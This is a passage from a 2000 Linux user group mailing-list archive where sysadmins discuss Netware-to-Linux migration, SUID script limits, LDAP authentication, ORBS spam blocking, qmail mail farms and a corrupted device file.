Exorcising Netware In-Reply-To: <004d01c05ef6$8cc37780$650aa8c0@cccu.com>; from ehillman@cccu.com on Tue, Dec 05, 2000 at 02:04:18PM -0600 References: <004d01c05ef6$8cc37780$650aa8c0@cccu.com> Message-ID: <20001205142518.A5893@socrates.sistina.com> On Tue, Dec 05, 2000 at 02:04:18PM -0600, Eric Hillman wrote: >So, after a long struggle with licensing issues, bad or broken management >software and recurring technical problems in the face of which Novell is >apparently helpless, the folks here at my workplace (whose opinions are, >nevertheless, not necessarily represented by the following) are considering >ditching Novell Netware altogether and moving to, believe it or not, a 100% >Linux back office. (Well, 90%.. Unfortunately we'll still need some NT in there >for the time being). hurderos might be your answer. It's developed at the NDSU. These guys were here at sistina last week and thier product is really slick. It's like LDAP,NIS,Acive directory on crack that's open source, and built with kerberos. (looks for URL) They use it in production on the NDSU campus and nearly all the colleges in ND are connected to it and are maintained by it. (looks some more) Well I don't think there is anything on the web but if you're realy interested lemme know and I can possibly get a phone number so you can call them. Closest i could find on the web is http://www.ndsu.nodak.edu/its/depts/servergroup/ which doesn't say anything about the software but at least it tell you what it offers. It's pretty sweet, maybe overkill though how many users? > >I'm wondering if anybody's had any experience with similar migrations and would >be interested in sharing their thoughts. Any input is welcome, but I'm >particularly interested in answers to a few questions. > >-Any thoughts on Penguin Computing, VA Linux or other companies selling >pre-built rack-mount servers? > >-We want to have a centralized user authentication system. I'm thinking >pam_LDAP, but I don't know LDAP at all well, and I haven't seen any particularly >sparkling examples of LDAP management tools. Any pointers? What about >compatibility with stuff like Samba, or Cyrus IMAP? > >-We'll need a file server at each of our 3 locations. At present we have only 1 >mail server, at our main branch. How easy would it be to get mail servers at >each location? (They're on seperate Class C networks, but using the same domain >name). Is this even vaguely a good idea? > >-Lastly, can Windows roaming profiles be handled somehow via Samba? A cursory >glance at the problem seems to indicate that it can be done, but I'm curious if >anybody's done it. No, we're not moving to Linux on the desktop... Yet. > >Like I said, any input is welcome (unless it's yet another "use Debian" post) >I've got to get some kinda outline drawn up for my boss so we can take it to the >board in about a week... > > >-- >Eric Hillman >UNIX Sysadmin/Webmaster >City & County Credit Union >ehillman@cccu.com > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001205/ba6c2b2a/attachment.pgp From jamie at floyd.getsetnet.net Tue Dec 5 14:26:10 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] SUID prob resolved In-Reply-To: <0G54003952XN59@mail1.supervalu.com> Message-ID: Thank you guys for help with this! It is (IMHO) a terrible oversight for the authors of the books I have not to mention this. I have been going over this all night, if they would have mentioned that in one simple sentence, I would have a lot more hair on my head! - Jamie On Tue, 5 Dec 2000 Nick.T.Reinking@supervalu.com wrote: > Ah ha. A common misunderstanding. Every UNIX I know will not allow > SUID scripts to run. If you want SUID, either create a C program that runs > a script and make that SUID, or recompile your kernel to allow it (very not > recommended.) > > Allowing SUID scripts is a huge security hole. > > Nick Reinking > > > > > > > jamie@floyd.getsetnet.net, on 12/05/2000 02:03:23 PM > To: tclug-list@mn-linux.org @ PMDF > cc: > Subject: [TCLUG] Puzzling SUID problem > > > > I have spent the last several hours pouring through docs on suid and > racking my mind. My script isn't working. Here is a long listing of my > script: > > -rwsr-sr-- 1 root wheel 379 Dec 5 12:57 myprog > > The contents of my prog are: > > #!/bin/bash > > cat /root/file1; > > User Jamie is on the group wheel, but when jamie goes to execute myprog > the system qweefs like this: > > cat: /root/file1: Permission denied > > I am using Red Hat 6.2. As I am understanding the documentation, since > jamie is on wheel, when he executes this program, the program will run as > root, and if the file is running as root, it would have the file access > privelages as root. Am I wrong?? Evidently I am, but then it would seem to > be incongruent with what all my books are telling me. > I have also tried running myprog as root, and it works fine then. One last > thing I should include is a pic of my root directory where file1 is: > > drwxr-x--- 15 root root 4096 Dec 5 02:32 root > > > and here is a long listing of file1: > > -rwxr-xr-- 1 root root 5 Dec 5 01:05 file1 > > > - Jme > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > From jamie at floyd.getsetnet.net Tue Dec 5 14:26:10 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] SUID prob resolved In-Reply-To: <0G54003952XN59@mail1.supervalu.com> Message-ID: Thank you guys for help with this! It is (IMHO) a terrible oversight for the authors of the books I have not to mention this. I have been going over this all night, if they would have mentioned that in one simple sentence, I would have a lot more hair on my head! - Jamie On Tue, 5 Dec 2000 Nick.T.Reinking@supervalu.com wrote: > Ah ha. A common misunderstanding. Every UNIX I know will not allow > SUID scripts to run. If you want SUID, either create a C program that runs > a script and make that SUID, or recompile your kernel to allow it (very not > recommended.) > > Allowing SUID scripts is a huge security hole. > > Nick Reinking > > > > > > > jamie@floyd.getsetnet.net, on 12/05/2000 02:03:23 PM > To: tclug-list@mn-linux.org @ PMDF > cc: > Subject: [TCLUG] Puzzling SUID problem > > > > I have spent the last several hours pouring through docs on suid and > racking my mind. My script isn't working. Here is a long listing of my > script: > > -rwsr-sr-- 1 root wheel 379 Dec 5 12:57 myprog > > The contents of my prog are: > > #!/bin/bash > > cat /root/file1; > > User Jamie is on the group wheel, but when jamie goes to execute myprog > the system qweefs like this: > > cat: /root/file1: Permission denied > > I am using Red Hat 6.2. As I am understanding the documentation, since > jamie is on wheel, when he executes this program, the program will run as > root, and if the file is running as root, it would have the file access > privelages as root. Am I wrong?? Evidently I am, but then it would seem to > be incongruent with what all my books are telling me. > I have also tried running myprog as root, and it works fine then. One last > thing I should include is a pic of my root directory where file1 is: > > drwxr-x--- 15 root root 4096 Dec 5 02:32 root > > > and here is a long listing of file1: > > -rwxr-xr-- 1 root root 5 Dec 5 01:05 file1 > > > - Jme > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > From chrome at real-time.com Tue Dec 5 14:35:17 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] Exorcising Netware In-Reply-To: <004d01c05ef6$8cc37780$650aa8c0@cccu.com>; from ehillman@cccu.com on Tue, Dec 05, 2000 at 02:04:18PM -0600 References: <004d01c05ef6$8cc37780$650aa8c0@cccu.com> Message-ID: <20001205143517.Q16692@real-time.com> > -We want to have a centralized user authentication system. I'm thinking > pam_LDAP, but I don't know LDAP at all well, and I haven't seen any particularly > sparkling examples of LDAP management tools. Any pointers? What about > compatibility with stuff like Samba, or Cyrus IMAP? LDAP Explorer is actually a pretty decent web-based LDAP admin tool. we've used it around here for some projects. search freshmeat for it. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From natecars at real-time.com Tue Dec 5 14:39:28 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] HELP In-Reply-To: Message-ID: On Tue, 5 Dec 2000, Nate Carlson wrote: > > Oh for goodness sake! There are instructions on how to remove yourself IN > > EVERY SINGLE MESSAGE!!! > > > > And if that's too hard, go to the website (http://www.mn-linux.org/) and > > FIND THEM THERE. > > > > Can Bob or someone remove this guy already if he can't do it himself? > > Nah, it's more fun to watch them whine. :) He replied privately; he was having SSL problems because he's on a buggified version of IE. I was nice and removed him. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jethro at freakzilla.com Tue Dec 5 14:59:20 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] HELP In-Reply-To: Message-ID: Hi, On Tue, 5 Dec 2000, Nate Carlson wrote: > buggified version of IE. I was nice and removed him. Er. So did I? (; -Yaron -- From austad at marketwatch.com Tue Dec 5 14:59:35 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] To ORBS or not to ORBS that is the question Message-ID: > And finially, stop CCing/sEnding to both lists addresses Jay! :) Doh! I'm just hitting Reply, and the only address that shows up is tclug-list@lists.real-time.com. Of course, I'm stuck on Outlook here at work, so it's probably hosing it somehow. :( > -----Original Message----- > From: Andy Zbikowski [mailto:andyzb@ltiflex.com] > Sent: Tuesday, December 05, 2000 11:53 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] To ORBS or not to ORBS that is the question > > > First off, how is it that SPAM can be sent to a subscription > based e-mail > list? Are SPAMers actually taking the effort to subscrib to > the list in > order to spam it, are they disgusing themselves as a > legitimate subscriber > or the list itself, or is the list now open to those who > aren't subscribed? > > Is this hole due to the migration process or something? Try > redoing the ezlm > (or whatever...) aliases to pipe through mail man instead > (can't be that > hard to do...though I've never played with ezlm) or if the > old list address > is retired retire it and be done with it. Post the new address as an > announcment on the website. > > If people can't figure out the darn address changed well, too > bad. They're > either lazy, stupid, don't care, or maybe a combination of the three. > > And finially, stop CCing/sEnding to both lists addresses Jay! :) > > Excuse my foul mood today... > > -- > Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com > LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 > 21801 Industrial Blvd | (FX) 763-428-9126 > Rogers, MN 55374 | (PCS) 612-306-6055 > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From blutgens at sistina.com Tue Dec 5 15:10:56 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] To ORBS or not to ORBS that is the question In-Reply-To: ; from austad@marketwatch.com on Tue, Dec 05, 2000 at 02:59:35PM -0600 References: Message-ID: <20001205151056.D6457@socrates.sistina.com> On Tue, Dec 05, 2000 at 02:59:35PM -0600, Austad, Jay wrote: >> And finially, stop CCing/sEnding to both lists addresses Jay! :) > >Of course, I'm stuck on Outlook here at work, so it's probably hosing it >somehow. :( Well thanks for posting in plaintext. :-) Cheers -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001205/629597a2/attachment.pgp From thouck at thouck.com Tue Dec 5 15:35:02 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] Do I need my 675? In-Reply-To: <00120510141907.00284@Billbob_Linux> Message-ID: And I want to get rid of mine as well. Mine is used, but I'm using it now and I take care of my equipment. I just want to upgrade to the external. Timothy On Tue, 5 Dec 2000, Bill Layer wrote: > BTW, > > > I know USWorst switched to Intel from the Cisco card, > > I have a spare, new in the box Intel 2100 aDSL modem. Includes the line > filters, etc. Anyone wants it, make an offer. > > -- > Bill Layer > Sales Technician > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Tue Dec 5 15:46:46 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] To ORBS or not to ORBS that is the question In-Reply-To: <20001205120633.B5014@socrates.sistina.com> Message-ID: A few months ago, I bought a Plextor PlexWriter 12/10/32A from some jackass internet store I found on pricewatch.com. It came with a CD of Gospel music that someone had used it to write. Nothing like paying >$200 for a top of the line piece of hardware and having it come in an opened package with evidence of previous use. Needless to say, I was pissed. Timothy On Tue, 5 Dec 2000, Ben Lutgens wrote: > You're a sysadmin, you're entitled! :-) It's dealing with vendors that gets my > blood boiling "Oh sure Mr. Lutgens we'd be happy to send out this hardware you > ordered. It'll be there in two days" Yeah right. --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From clay at fandre.com Tue Dec 5 16:54:50 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] To ORBS or not to ORBS that is the question References: <20001205110752.O31012@real-time.com> Message-ID: <3A2D723A.4B4B84A2@fandre.com> Bob Tanner wrote: > > On point 3, I am putting it to the list. I can turn ORBS back on, but it seems > to block lots of legitimate email. In fact several people sent email to me > asking why ORBS bounced them. > > So, there it is. To ORBS or not to ORBS. > > Clay/Scott can you do a poll on the web site? > > List is open to discussion... Yea, I could put up a poll, but I would prefer to just start bouncing messages. And when people start complaining, they can email me. (Most of my mail goes to /dev/null automatically anyway.) Fine, I'll put up a new poll. Vote while it's hot. (or something) http://www.mn-linux.org And please, leave Bob alone. He's doing a heck of a lot for the TCLUG and we are forever grateful. Bob, just forward any flame message to me and I will take care of them^H^H^H^Hit. Clay From esper at sherohman.org Tue Dec 5 18:28:38 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] Mail farms Message-ID: <20001205182838.A21381@sherohman.org> At work, we're looking at hosting a Large Number of email accounts. I've successfully convinced at least my immediate boss that it would make sense to go with something sendmail/procmail-based, running under something unixy. Now I'm being asked a lot of questions about details which are a little out of my depth... The primary part that I'm not familiar with is running mail accounts without corresponding system (login) accounts. I assume that this is standard for large mail hosts, but wouldn't mind being told that I'm wrong. If this is what we're likely to want to do, where can I find information on how to do it? (OTOH, we need per-user procmail configurations, which implies that the users would need something like a home directory. Which could easily mean that the better course would be to set them up as real system accounts and give them /bin/false as their shell.) -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From nate at techie.com Tue Dec 5 19:24:33 2000 From: nate at techie.com (nate@techie.com) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] Mail farms In-Reply-To: <20001205182838.A21381@sherohman.org>; from esper@sherohman.org on Tue, Dec 05, 2000 at 06:28:38PM -0600 References: <20001205182838.A21381@sherohman.org> Message-ID: <20001205192433.A13507@candle.dyn.dhs.org> On Tue, Dec 05, 2000 at 06:28:38PM -0600, Dave Sherohman wrote: > At work, we're looking at hosting a Large Number of email accounts. I've > successfully convinced at least my immediate boss that it would make sense to > go with something sendmail/procmail-based, running under something unixy. > Now I'm being asked a lot of questions about details which are a little out > of my depth... What do you consider a "Large Number?" More than 65,000? For very large email systems I would have to recommend Qmail[1]. It can easily handle large numbers of email accounts on single systems and it works really well in farm configurations (which you might not need). Nate [1] http://www.qmail.org/ From natecars at real-time.com Tue Dec 5 19:34:05 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] Mail farms In-Reply-To: <20001205182838.A21381@sherohman.org> Message-ID: On Tue, 5 Dec 2000, Dave Sherohman wrote: > At work, we're looking at hosting a Large Number of email accounts. I've > successfully convinced at least my immediate boss that it would make sense to > go with something sendmail/procmail-based, running under something unixy. > Now I'm being asked a lot of questions about details which are a little out > of my depth... > > The primary part that I'm not familiar with is running mail accounts without > corresponding system (login) accounts. I assume that this is standard for > large mail hosts, but wouldn't mind being told that I'm wrong. If this is > what we're likely to want to do, where can I find information on how to do > it? > > (OTOH, we need per-user procmail configurations, which implies that the users > would need something like a home directory. Which could easily mean that the > better course would be to set them up as real system accounts and give them > /bin/false as their shell.) I'd recommend LDAP using nss_ldap and pam_ldap, and then pam_mkhomedir (to create the home directories automatically). Pretty simple solution, when you get down to it.. See the page for nss_ldap (search from freshmeat) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From lerwick at tcfreenet.org Tue Dec 5 20:30:41 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] Re: [OT] My OmniKey died!!!!!!!!!! References: Message-ID: <3A2DA4D1.5DA8391C@tcfreenet.org> > > I've heard that too! Don't remember where, but I think the key was (no pun > > intended) to NOT use dishwasher detergent and to run it through a cycle > > (probably low heat would be my guess and drip dry) > > Yeah, since some detergents manage to rust stainless-steel silverware, I'd > avoid them. > > Actually I wouldn't put a keyboard in the dishwasher in the first place, > ecpt maybe for fun (: I've heard of at least one person who fixed a spilled-in keyboard this way... If the keyboard is already working, I wouldn't go to this extreme. At least not on something priceless like an IBM model M. ;) But if you've drowned it in Mt. Dew its worth a try... From esper at sherohman.org Tue Dec 5 20:07:16 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] Mail farms In-Reply-To: <20001205192433.A13507@candle.dyn.dhs.org>; from nate@techie.com on Tue, Dec 05, 2000 at 07:24:33PM -0600 References: <20001205182838.A21381@sherohman.org> <20001205192433.A13507@candle.dyn.dhs.org> Message-ID: <20001205200716.C21381@sherohman.org> On Tue, Dec 05, 2000 at 07:24:33PM -0600, nate@techie.com wrote: > What do you consider a "Large Number?" More than 65,000? Yep. Marketing claims that they'll have 50,000 accounts within 3 months and half a million by the end of 2001. Those are just marketing numbers but, unless they're high by an order of magnitude, we'd run out of UIDs before long. (I assume that's why you mentioned 65,000.) > For very > large email systems I would have to recommend Qmail[1]. It can easily > handle large numbers of email accounts on single systems and it works > really well in farm configurations (which you might not need). How procmail-friendly is it? The main reason management is interested in sendmail is that I've already written some procmail-based code to do user-configurable mail filtering (more specifically, piping selected messages through some external code) which is fairly close to the core of (the mail- based portions of) our system. -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From esper at sherohman.org Tue Dec 5 20:09:02 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] Mail farms In-Reply-To: ; from natecars@real-time.com on Tue, Dec 05, 2000 at 07:34:05PM -0600 References: <20001205182838.A21381@sherohman.org> Message-ID: <20001205200901.D21381@sherohman.org> On Tue, Dec 05, 2000 at 07:34:05PM -0600, Nate Carlson wrote: > I'd recommend LDAP using nss_ldap and pam_ldap, and then pam_mkhomedir (to > create the home directories automatically). Pretty simple solution, when > you get down to it.. > > See the page for nss_ldap (search from freshmeat) Took a quick look at it, and it seems promising. Thanks! -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From blutgens at sistina.com Tue Dec 5 21:57:38 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] Mail farms In-Reply-To: <20001205182838.A21381@sherohman.org>; from esper@sherohman.org on Tue, Dec 05, 2000 at 06:28:38PM -0600 References: <20001205182838.A21381@sherohman.org> Message-ID: <20001205215738.B8065@socrates.sistina.com> On Tue, Dec 05, 2000 at 06:28:38PM -0600, Dave Sherohman wrote: > >(OTOH, we need per-user procmail configurations, which implies that the users >would need something like a home directory. Which could easily mean that the >better course would be to set them up as real system accounts and give them >/bin/false as their shell.) > why give them home dirs and no shell access? Why have procmail if they can't _use_ it? provide mail via pop / imap. No shell access. and all is well. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... 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It can easily >handle large numbers of email accounts on single systems and it works >really well in farm configurations (which you might not need). > I second that, and anytime a software author puts up 1000.00 of his own cash as a reward for finding a security hole.... It still stands after 3 years. (i think it's that long) qmail rocks. > >[1] http://www.qmail.org/ >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001205/33e63df1/attachment.pgp From austad at marketwatch.com Tue Dec 5 22:56:53 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] Mail farms Message-ID: > I second that, and anytime a software author puts up 1000.00 > of his own cash > as a reward for finding a security hole.... > > It still stands after 3 years. (i think it's that long) > > qmail rocks. Actually, the reward has been up for grabs since 1995. Qmail does rock. I set up a killer qmail cluster at work for sending out our market reports which are time sensitive. 2 servers can saturate a DS3 with outgoing mail. There's a way to do virtual users without creating accounts. Join the qmail mailing list and ask about it. Read the FAQ's first though, the people on the list will flame you to no end for not reading the FAQ or asking stupid questions. I feel sorry for some of the people posting to that list. There are all sorts of patches also for large queues, large concurrency for local and outgoing mail, and about a million other things. It's definitely not something that's straightforward to set up, but once you get it going, it rocks. http://www.qmail.org or http://cr.yp.to Jay > -----Original Message----- > From: Ben Lutgens [mailto:blutgens@sistina.com] > Sent: Tuesday, December 05, 2000 9:59 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Mail farms > > > On Tue, Dec 05, 2000 at 07:24:33PM -0600, nate@techie.com wrote: > > > >What do you consider a "Large Number?" More than 65,000? For very > >large email systems I would have to recommend Qmail[1]. It > can easily > >handle large numbers of email accounts on single systems and it works > >really well in farm configurations (which you might not need). > > > > I second that, and anytime a software author puts up 1000.00 > of his own cash > as a reward for finding a security hole.... > > It still stands after 3 years. (i think it's that long) > > qmail rocks. > > > > >[1] http://www.qmail.org/ > >_______________________________________________ > >tclug-list mailing list > >tclug-list@lists.real-time.com > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > From andy at theasis.com Tue Dec 5 23:23:41 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:10 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? Message-ID: I have a "file" /usr/include/linux which is misbehaving: $ ls -l /usr/include/linux c--sr-sr-t 1 26736 25601 46, 111 May 11 1999 /usr/include/linux I can't remove it or change permissions, either using sudo or a direct login as root. Get "permission denied" and "can't unlink". It's *supposed* to be either a directory, or a symlink to one. This isn't either a directory or a symlink. Any ideas about how I can axe the thing, given that root can't seem to chmod or delet it? This is a redhat 7.0 system, upgraded from 6.2 via the 7.0 beta (6.9). I suspect that the file was put there as part of the kernel-headers-2.4.?? by that beta install. Thanks, Andy From jethro at freakzilla.com Tue Dec 5 23:42:32 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? In-Reply-To: Message-ID: Hi, On Tue, 5 Dec 2000 andy@theasis.com wrote: > I have a "file" /usr/include/linux which is misbehaving: > $ ls -l /usr/include/linux > c--sr-sr-t 1 26736 25601 46, 111 May 11 1999 /usr/include/linux ^ ??!? Isn't that character device? That's... that's pretty weird... On my RH7 system it's: lrwxrwxrwx 1 root root 26 Jan 9 2000 linux -> ../src/linux/include/linux/ Try 'rpm -qf /usr/include/linux, it'll say that it's part of... wtf, kernel-headers-2.2.12-20? Redhat is weird sometimes. -Yaron -- From hick0088 at tc.umn.edu Wed Dec 6 00:16:59 2000 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? References: Message-ID: <3A2DD9DB.2C97A759@tc.umn.edu> andy@theasis.com wrote: > > I have a "file" /usr/include/linux which is misbehaving: > > $ ls -l /usr/include/linux > c--sr-sr-t 1 26736 25601 46, 111 May 11 1999 /usr/include/linux > > I can't remove it or change permissions, either using sudo or a direct > login as root. Get "permission denied" and "can't unlink". I'd guess filesystem corruption of some kind. fscking should help. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Have Tardis, will travel. / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From esper at sherohman.org Wed Dec 6 00:53:17 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] Mail farms In-Reply-To: <20001205215738.B8065@socrates.sistina.com>; from blutgens@sistina.com on Tue, Dec 05, 2000 at 09:57:38PM -0600 References: <20001205182838.A21381@sherohman.org> <20001205215738.B8065@socrates.sistina.com> Message-ID: <20001206005317.B22523@sherohman.org> On Tue, Dec 05, 2000 at 09:57:38PM -0600, Ben Lutgens wrote: > why give them home dirs and no shell access? Why have procmail if they can't > _use_ it? provide mail via pop / imap. No shell access. and all is well. While I don't think I should go into details (pesky NDAs...), I can say that we have an external process which certain email messages need to be piped through. Each user can choose for themselves which messages get sent to this process. I've already set up an inetd-based pseudo-daemon which manipulates a procmail ruleset to control this filtering on a per-user basis and another developer has created a web-based front end for it. We already have internal users who refuse to even consider looking at a unix box, but are using this web-based interface to manipulate procmail filters without using a shell or even knowing that any sort of general procmail-like tool exists. They just say, "I want X to be done with messages from Bob," and it magically happens. The home dirs are being used because, on our internal email server, they already have home dirs (although, again, most of them don't know it) and it's the obvious place to put per-user configuration information. And I think I've already shown that, although they may not be able to tap the full power of procmail, they are able to use it. We're not providing _just_ email access; it's one part of a bigger product. (A part we didn't originally intend to handle ourselves, but trying to tie someone else's email service into the rest of our system in this way hasn't turned out as well as management thought, so now they're asking me about bringing the email part in-house too.) -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From austad at marketwatch.com Wed Dec 6 01:00:21 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] Mail farms Message-ID: I think you can do what you just described below with qmail, without having actual user accounts on the machine. You should be able to use the qmail alias files to pipe it to your program. One thing I really like about qmail, is that it's very easy to modify the code. It's made up of many smaller programs with specific functions, so it's very easy to find what you want to modify. Try doing that with Sendmail... None of the code is commented though, but it's fairly straightforward. Jay > -----Original Message----- > From: Dave Sherohman [mailto:esper@sherohman.org] > Sent: Wednesday, December 06, 2000 12:53 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Mail farms > > > On Tue, Dec 05, 2000 at 09:57:38PM -0600, Ben Lutgens wrote: > > why give them home dirs and no shell access? Why have > procmail if they can't > > _use_ it? provide mail via pop / imap. No shell access. and > all is well. > > While I don't think I should go into details (pesky NDAs...), > I can say that > we have an external process which certain email messages need > to be piped > through. Each user can choose for themselves which messages > get sent to this > process. I've already set up an inetd-based pseudo-daemon > which manipulates > a procmail ruleset to control this filtering on a per-user > basis and another > developer has created a web-based front end for it. > > We already have internal users who refuse to even consider > looking at a unix > box, but are using this web-based interface to manipulate > procmail filters > without using a shell or even knowing that any sort of > general procmail-like > tool exists. They just say, "I want X to be done with > messages from Bob," > and it magically happens. > > The home dirs are being used because, on our internal email > server, they > already have home dirs (although, again, most of them don't know it) > and it's the obvious place to put per-user configuration information. > And I think I've already shown that, although they may not be > able to tap > the full power of procmail, they are able to use it. We're > not providing > _just_ email access; it's one part of a bigger product. (A > part we didn't > originally intend to handle ourselves, but trying to tie > someone else's > email service into the rest of our system in this way hasn't > turned out > as well as management thought, so now they're asking me about bringing > the email part in-house too.) > > -- > "Two words: Windows survives." - Craig Mundie, Microsoft > senior strategist > "So does syphillis. Good thing we have penicillin." - Matthew Alton > Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- > W--(++) N+ o+ > !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G > e* h+ r y+ > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From tsandqui at yahoo.com Wed Dec 6 02:23:33 2000 From: tsandqui at yahoo.com (Tim Sandquist) Date: Mon Jan 17 13:13:11 2005 Subject: [TCLUG] file permissions: how do I get rid of this thing?? In-Reply-To: <3A2DD9DB.2C97A759@tc.umn.edu>; from hick0088@tc.umn.edu on Wed, Dec 06, 2000 at 